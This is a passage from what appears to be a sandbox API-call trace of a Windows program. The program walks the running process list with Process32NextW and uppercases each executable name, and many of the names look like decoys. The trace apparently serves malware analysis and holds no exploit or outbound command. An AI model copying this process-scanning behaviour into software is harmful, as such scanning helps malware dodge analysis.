(lpString="svchost.exe") returned 11 [0181.226] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0181.226] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0181.226] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0181.226] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0181.227] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0181.227] lstrlenW (lpString="spoolsv.exe") returned 11 [0181.227] CharUpperBuffW (in: lpsz="spoolsv.exe", cchLength=0xb | out: lpsz="SPOOLSV.EXE") returned 0xb [0181.227] PathFindFileNameW (pszPath="SPOOLSV.EXE") returned="SPOOLSV.EXE" [0181.227] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SPOOLSV.EXE" | out: lpString1="SPOOLSV.EXE") returned="SPOOLSV.EXE" [0181.227] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.228] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0181.228] lstrlenW (lpString="svchost.exe") returned 11 [0181.228] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0181.228] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0181.228] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0181.228] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0181.228] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="OfficeClickToRun.exe" | out: lpString1="OfficeClickToRun.exe") returned="OfficeClickToRun.exe" [0181.228] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0181.228] CharUpperBuffW (in: lpsz="OfficeClickToRun.exe", cchLength=0x14 | out: lpsz="OFFICECLICKTORUN.EXE") returned 0x14 [0181.228] PathFindFileNameW (pszPath="OFFICECLICKTORUN.EXE") returned="OFFICECLICKTORUN.EXE" [0181.229] lstrcpyW (in: lpString1=0x2b4f928, lpString2="OFFICECLICKTORUN.EXE" | out: lpString1="OFFICECLICKTORUN.EXE") returned="OFFICECLICKTORUN.EXE" [0181.229] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.229] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0181.229] lstrlenW (lpString="svchost.exe") returned 11 [0181.229] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0181.229] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0181.229] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0181.229] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0181.230] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="sihost.exe" | out: lpString1="sihost.exe") returned="sihost.exe" [0181.230] lstrlenW (lpString="sihost.exe") returned 10 [0181.230] CharUpperBuffW (in: lpsz="sihost.exe", cchLength=0xa | out: lpsz="SIHOST.EXE") returned 0xa [0181.230] PathFindFileNameW (pszPath="SIHOST.EXE") returned="SIHOST.EXE" [0181.230] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SIHOST.EXE" | out: lpString1="SIHOST.EXE") returned="SIHOST.EXE" [0181.230] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x77c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0181.231] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="taskhostw.exe" | out: lpString1="taskhostw.exe") returned="taskhostw.exe" [0181.231] lstrlenW (lpString="taskhostw.exe") returned 13 [0181.231] CharUpperBuffW (in: lpsz="taskhostw.exe", cchLength=0xd | out: lpsz="TASKHOSTW.EXE") returned 0xd [0181.231] PathFindFileNameW (pszPath="TASKHOSTW.EXE") returned="TASKHOSTW.EXE" [0181.231] lstrcpyW (in: lpString1=0x2b4f928, lpString2="TASKHOSTW.EXE" | out: lpString1="TASKHOSTW.EXE") returned="TASKHOSTW.EXE" [0181.231] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0181.231] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0181.231] lstrlenW (lpString="explorer.exe") returned 12 [0181.231] CharUpperBuffW (in: lpsz="explorer.exe", cchLength=0xc | out: lpsz="EXPLORER.EXE") returned 0xc [0181.231] PathFindFileNameW (pszPath="EXPLORER.EXE") returned="EXPLORER.EXE" [0181.231] lstrcpyW (in: lpString1=0x2b4f928, lpString2="EXPLORER.EXE" | out: lpString1="EXPLORER.EXE") returned="EXPLORER.EXE" [0181.231] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0181.232] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="RuntimeBroker.exe" | out: lpString1="RuntimeBroker.exe") returned="RuntimeBroker.exe" [0181.232] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0181.232] CharUpperBuffW (in: lpsz="RuntimeBroker.exe", cchLength=0x11 | out: lpsz="RUNTIMEBROKER.EXE") returned 0x11 [0181.232] PathFindFileNameW (pszPath="RUNTIMEBROKER.EXE") returned="RUNTIMEBROKER.EXE" [0181.232] lstrcpyW (in: lpString1=0x2b4f928, lpString2="RUNTIMEBROKER.EXE" | out: lpString1="RUNTIMEBROKER.EXE") returned="RUNTIMEBROKER.EXE" [0181.232] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0181.233] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="ShellExperienceHost.exe" | out: lpString1="ShellExperienceHost.exe") returned="ShellExperienceHost.exe" [0181.233] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0181.233] CharUpperBuffW (in: lpsz="ShellExperienceHost.exe", cchLength=0x17 | out: lpsz="SHELLEXPERIENCEHOST.EXE") returned 0x17 [0181.233] PathFindFileNameW (pszPath="SHELLEXPERIENCEHOST.EXE") returned="SHELLEXPERIENCEHOST.EXE" [0181.233] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SHELLEXPERIENCEHOST.EXE" | out: lpString1="SHELLEXPERIENCEHOST.EXE") returned="SHELLEXPERIENCEHOST.EXE" [0181.233] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0181.233] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="SearchUI.exe" | out: lpString1="SearchUI.exe") returned="SearchUI.exe" [0181.233] lstrlenW (lpString="SearchUI.exe") returned 12 [0181.233] CharUpperBuffW (in: lpsz="SearchUI.exe", cchLength=0xc | out: lpsz="SEARCHUI.EXE") returned 0xc [0181.233] PathFindFileNameW (pszPath="SEARCHUI.EXE") returned="SEARCHUI.EXE" [0181.233] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SEARCHUI.EXE" | out: lpString1="SEARCHUI.EXE") returned="SEARCHUI.EXE" [0181.233] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commandsxeroxrelationship.exe")) returned 1 [0181.234] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="commandsxeroxrelationship.exe" | out: lpString1="commandsxeroxrelationship.exe") returned="commandsxeroxrelationship.exe" [0181.234] lstrlenW (lpString="commandsxeroxrelationship.exe") returned 29 [0181.234] CharUpperBuffW (in: lpsz="commandsxeroxrelationship.exe", cchLength=0x1d | out: lpsz="COMMANDSXEROXRELATIONSHIP.EXE") returned 0x1d [0181.234] PathFindFileNameW (pszPath="COMMANDSXEROXRELATIONSHIP.EXE") returned="COMMANDSXEROXRELATIONSHIP.EXE" [0181.234] lstrcpyW (in: lpString1=0x2b4f928, lpString2="COMMANDSXEROXRELATIONSHIP.EXE" | out: lpString1="COMMANDSXEROXRELATIONSHIP.EXE") returned="COMMANDSXEROXRELATIONSHIP.EXE" [0181.234] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nice cu.exe")) returned 1 [0181.235] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="nice cu.exe" | out: lpString1="nice cu.exe") returned="nice cu.exe" [0181.235] lstrlenW (lpString="nice cu.exe") returned 11 [0181.235] CharUpperBuffW (in: lpsz="nice cu.exe", cchLength=0xb | out: lpsz="NICE CU.EXE") returned 0xb [0181.235] PathFindFileNameW (pszPath="NICE CU.EXE") returned="NICE CU.EXE" [0181.235] lstrcpyW (in: lpString1=0x2b4f928, lpString2="NICE CU.EXE" | out: lpString1="NICE CU.EXE") returned="NICE CU.EXE" [0181.235] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="video_reviewing.exe")) returned 1 [0181.235] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="video_reviewing.exe" | out: lpString1="video_reviewing.exe") returned="video_reviewing.exe" [0181.235] lstrlenW (lpString="video_reviewing.exe") returned 19 [0181.235] CharUpperBuffW (in: lpsz="video_reviewing.exe", cchLength=0x13 | out: lpsz="VIDEO_REVIEWING.EXE") returned 0x13 [0181.235] PathFindFileNameW (pszPath="VIDEO_REVIEWING.EXE") returned="VIDEO_REVIEWING.EXE" [0181.235] lstrcpyW (in: lpString1=0x2b4f928, lpString2="VIDEO_REVIEWING.EXE" | out: lpString1="VIDEO_REVIEWING.EXE") returned="VIDEO_REVIEWING.EXE" [0181.236] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shame.exe")) returned 1 [0181.236] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="shame.exe" | out: lpString1="shame.exe") returned="shame.exe" [0181.236] lstrlenW (lpString="shame.exe") returned 9 [0181.236] CharUpperBuffW (in: lpsz="shame.exe", cchLength=0x9 | out: lpsz="SHAME.EXE") returned 0x9 [0181.236] PathFindFileNameW (pszPath="SHAME.EXE") returned="SHAME.EXE" [0181.236] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SHAME.EXE" | out: lpString1="SHAME.EXE") returned="SHAME.EXE" [0181.236] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fantasy.exe")) returned 1 [0181.237] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="fantasy.exe" | out: lpString1="fantasy.exe") returned="fantasy.exe" [0181.237] lstrlenW (lpString="fantasy.exe") returned 11 [0181.237] CharUpperBuffW (in: lpsz="fantasy.exe", cchLength=0xb | out: lpsz="FANTASY.EXE") returned 0xb [0181.237] PathFindFileNameW (pszPath="FANTASY.EXE") returned="FANTASY.EXE" [0181.237] lstrcpyW (in: lpString1=0x2b4f928, lpString2="FANTASY.EXE" | out: lpString1="FANTASY.EXE") returned="FANTASY.EXE" [0181.237] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="accepting.exe")) returned 1 [0181.237] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="accepting.exe" | out: lpString1="accepting.exe") returned="accepting.exe" [0181.238] lstrlenW (lpString="accepting.exe") returned 13 [0181.238] CharUpperBuffW (in: lpsz="accepting.exe", cchLength=0xd | out: lpsz="ACCEPTING.EXE") returned 0xd [0181.238] PathFindFileNameW (pszPath="ACCEPTING.EXE") returned="ACCEPTING.EXE" [0181.238] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ACCEPTING.EXE" | out: lpString1="ACCEPTING.EXE") returned="ACCEPTING.EXE" [0181.238] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="authorized.exe")) returned 1 [0181.238] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="authorized.exe" | out: lpString1="authorized.exe") returned="authorized.exe" [0181.238] lstrlenW (lpString="authorized.exe") returned 14 [0181.238] CharUpperBuffW (in: lpsz="authorized.exe", cchLength=0xe | out: lpsz="AUTHORIZED.EXE") returned 0xe [0181.238] PathFindFileNameW (pszPath="AUTHORIZED.EXE") returned="AUTHORIZED.EXE" [0181.238] lstrcpyW (in: lpString1=0x2b4f928, lpString2="AUTHORIZED.EXE" | out: lpString1="AUTHORIZED.EXE") returned="AUTHORIZED.EXE" [0181.238] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="isp.exe")) returned 1 [0181.239] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="isp.exe" | out: lpString1="isp.exe") returned="isp.exe" [0181.239] lstrlenW (lpString="isp.exe") returned 7 [0181.239] CharUpperBuffW (in: lpsz="isp.exe", cchLength=0x7 | out: lpsz="ISP.EXE") returned 0x7 [0181.239] PathFindFileNameW (pszPath="ISP.EXE") returned="ISP.EXE" [0181.239] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ISP.EXE" | out: lpString1="ISP.EXE") returned="ISP.EXE" [0181.239] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cowboy.exe")) returned 1 [0181.240] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="cowboy.exe" | out: lpString1="cowboy.exe") returned="cowboy.exe" [0181.240] lstrlenW (lpString="cowboy.exe") returned 10 [0181.240] CharUpperBuffW (in: lpsz="cowboy.exe", cchLength=0xa | out: lpsz="COWBOY.EXE") returned 0xa [0181.240] PathFindFileNameW (pszPath="COWBOY.EXE") returned="COWBOY.EXE" [0181.240] lstrcpyW (in: lpString1=0x2b4f928, lpString2="COWBOY.EXE" | out: lpString1="COWBOY.EXE") returned="COWBOY.EXE" [0181.240] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="j_variables_changes.exe")) returned 1 [0181.240] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="j_variables_changes.exe" | out: lpString1="j_variables_changes.exe") returned="j_variables_changes.exe" [0181.240] lstrlenW (lpString="j_variables_changes.exe") returned 23 [0181.240] CharUpperBuffW (in: lpsz="j_variables_changes.exe", cchLength=0x17 | out: lpsz="J_VARIABLES_CHANGES.EXE") returned 0x17 [0181.240] PathFindFileNameW (pszPath="J_VARIABLES_CHANGES.EXE") returned="J_VARIABLES_CHANGES.EXE" [0181.240] lstrcpyW (in: lpString1=0x2b4f928, lpString2="J_VARIABLES_CHANGES.EXE" | out: lpString1="J_VARIABLES_CHANGES.EXE") returned="J_VARIABLES_CHANGES.EXE" [0181.240] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="thats.exe")) returned 1 [0181.241] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="thats.exe" | out: lpString1="thats.exe") returned="thats.exe" [0181.241] lstrlenW (lpString="thats.exe") returned 9 [0181.241] CharUpperBuffW (in: lpsz="thats.exe", cchLength=0x9 | out: lpsz="THATS.EXE") returned 0x9 [0181.241] PathFindFileNameW (pszPath="THATS.EXE") returned="THATS.EXE" [0181.241] lstrcpyW (in: lpString1=0x2b4f928, lpString2="THATS.EXE" | out: lpString1="THATS.EXE") returned="THATS.EXE" [0181.241] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bikes goods whilst.exe")) returned 1 [0181.242] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="bikes goods whilst.exe" | out: lpString1="bikes goods whilst.exe") returned="bikes goods whilst.exe" [0181.242] lstrlenW (lpString="bikes goods whilst.exe") returned 22 [0181.242] CharUpperBuffW (in: lpsz="bikes goods whilst.exe", cchLength=0x16 | out: lpsz="BIKES GOODS WHILST.EXE") returned 0x16 [0181.242] PathFindFileNameW (pszPath="BIKES GOODS WHILST.EXE") returned="BIKES GOODS WHILST.EXE" [0181.242] lstrcpyW (in: lpString1=0x2b4f928, lpString2="BIKES GOODS WHILST.EXE" | out: lpString1="BIKES GOODS WHILST.EXE") returned="BIKES GOODS WHILST.EXE" [0181.242] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaches processing culture.exe")) returned 1 [0181.242] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="reaches processing culture.exe" | out: lpString1="reaches processing culture.exe") returned="reaches processing culture.exe" [0181.242] lstrlenW (lpString="reaches processing culture.exe") returned 30 [0181.242] CharUpperBuffW (in: lpsz="reaches processing culture.exe", cchLength=0x1e | out: lpsz="REACHES PROCESSING CULTURE.EXE") returned 0x1e [0181.242] PathFindFileNameW (pszPath="REACHES PROCESSING CULTURE.EXE") returned="REACHES PROCESSING CULTURE.EXE" [0181.243] lstrcpyW (in: lpString1=0x2b4f928, lpString2="REACHES PROCESSING CULTURE.EXE" | out: lpString1="REACHES PROCESSING CULTURE.EXE") returned="REACHES PROCESSING CULTURE.EXE" [0181.243] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="actual.exe")) returned 1 [0181.243] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="actual.exe" | out: lpString1="actual.exe") returned="actual.exe" [0181.243] lstrlenW (lpString="actual.exe") returned 10 [0181.243] CharUpperBuffW (in: lpsz="actual.exe", cchLength=0xa | out: lpsz="ACTUAL.EXE") returned 0xa [0181.243] PathFindFileNameW (pszPath="ACTUAL.EXE") returned="ACTUAL.EXE" [0181.243] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ACTUAL.EXE" | out: lpString1="ACTUAL.EXE") returned="ACTUAL.EXE" [0181.243] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="potter larry.exe")) returned 1 [0181.244] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="potter larry.exe" | out: lpString1="potter larry.exe") returned="potter larry.exe" [0181.244] lstrlenW (lpString="potter larry.exe") returned 16 [0181.244] CharUpperBuffW (in: lpsz="potter larry.exe", cchLength=0x10 | out: lpsz="POTTER LARRY.EXE") returned 0x10 [0181.244] PathFindFileNameW (pszPath="POTTER LARRY.EXE") returned="POTTER LARRY.EXE" [0181.244] lstrcpyW (in: lpString1=0x2b4f928, lpString2="POTTER LARRY.EXE" | out: lpString1="POTTER LARRY.EXE") returned="POTTER LARRY.EXE" [0181.244] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contents what certificate.exe")) returned 1 [0181.245] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="contents what certificate.exe" | out: lpString1="contents what certificate.exe") returned="contents what certificate.exe" [0181.245] lstrlenW (lpString="contents what certificate.exe") returned 29 [0181.245] CharUpperBuffW (in: lpsz="contents what certificate.exe", cchLength=0x1d | out: lpsz="CONTENTS WHAT CERTIFICATE.EXE") returned 0x1d [0181.245] PathFindFileNameW (pszPath="CONTENTS WHAT CERTIFICATE.EXE") returned="CONTENTS WHAT CERTIFICATE.EXE" [0181.245] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CONTENTS WHAT CERTIFICATE.EXE" | out: lpString1="CONTENTS WHAT CERTIFICATE.EXE") returned="CONTENTS WHAT CERTIFICATE.EXE" [0181.245] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cindy.exe")) returned 1 [0181.245] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="cindy.exe" | out: lpString1="cindy.exe") returned="cindy.exe" [0181.245] lstrlenW (lpString="cindy.exe") returned 9 [0181.245] CharUpperBuffW (in: lpsz="cindy.exe", cchLength=0x9 | out: lpsz="CINDY.EXE") returned 0x9 [0181.245] PathFindFileNameW (pszPath="CINDY.EXE") returned="CINDY.EXE" [0181.245] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CINDY.EXE" | out: lpString1="CINDY.EXE") returned="CINDY.EXE" [0181.245] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="printable_fountain_korea.exe")) returned 1 [0181.246] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="printable_fountain_korea.exe" | out: lpString1="printable_fountain_korea.exe") returned="printable_fountain_korea.exe" [0181.246] lstrlenW (lpString="printable_fountain_korea.exe") returned 28 [0181.246] CharUpperBuffW (in: lpsz="printable_fountain_korea.exe", cchLength=0x1c | out: lpsz="PRINTABLE_FOUNTAIN_KOREA.EXE") returned 0x1c [0181.246] PathFindFileNameW (pszPath="PRINTABLE_FOUNTAIN_KOREA.EXE") returned="PRINTABLE_FOUNTAIN_KOREA.EXE" [0181.246] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PRINTABLE_FOUNTAIN_KOREA.EXE" | out: lpString1="PRINTABLE_FOUNTAIN_KOREA.EXE") returned="PRINTABLE_FOUNTAIN_KOREA.EXE" [0181.246] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="unusual.exe")) returned 1 [0181.247] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="unusual.exe" | out: lpString1="unusual.exe") returned="unusual.exe" [0181.247] lstrlenW (lpString="unusual.exe") returned 11 [0181.247] CharUpperBuffW (in: lpsz="unusual.exe", cchLength=0xb | out: lpsz="UNUSUAL.EXE") returned 0xb [0181.247] PathFindFileNameW (pszPath="UNUSUAL.EXE") returned="UNUSUAL.EXE" [0181.247] lstrcpyW (in: lpString1=0x2b4f928, lpString2="UNUSUAL.EXE" | out: lpString1="UNUSUAL.EXE") returned="UNUSUAL.EXE" [0181.247] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pacific.exe")) returned 1 [0181.247] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="pacific.exe" | out: lpString1="pacific.exe") returned="pacific.exe" [0181.247] lstrlenW (lpString="pacific.exe") returned 11 [0181.247] CharUpperBuffW (in: lpsz="pacific.exe", cchLength=0xb | out: lpsz="PACIFIC.EXE") returned 0xb [0181.247] PathFindFileNameW (pszPath="PACIFIC.EXE") returned="PACIFIC.EXE" [0181.247] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PACIFIC.EXE" | out: lpString1="PACIFIC.EXE") 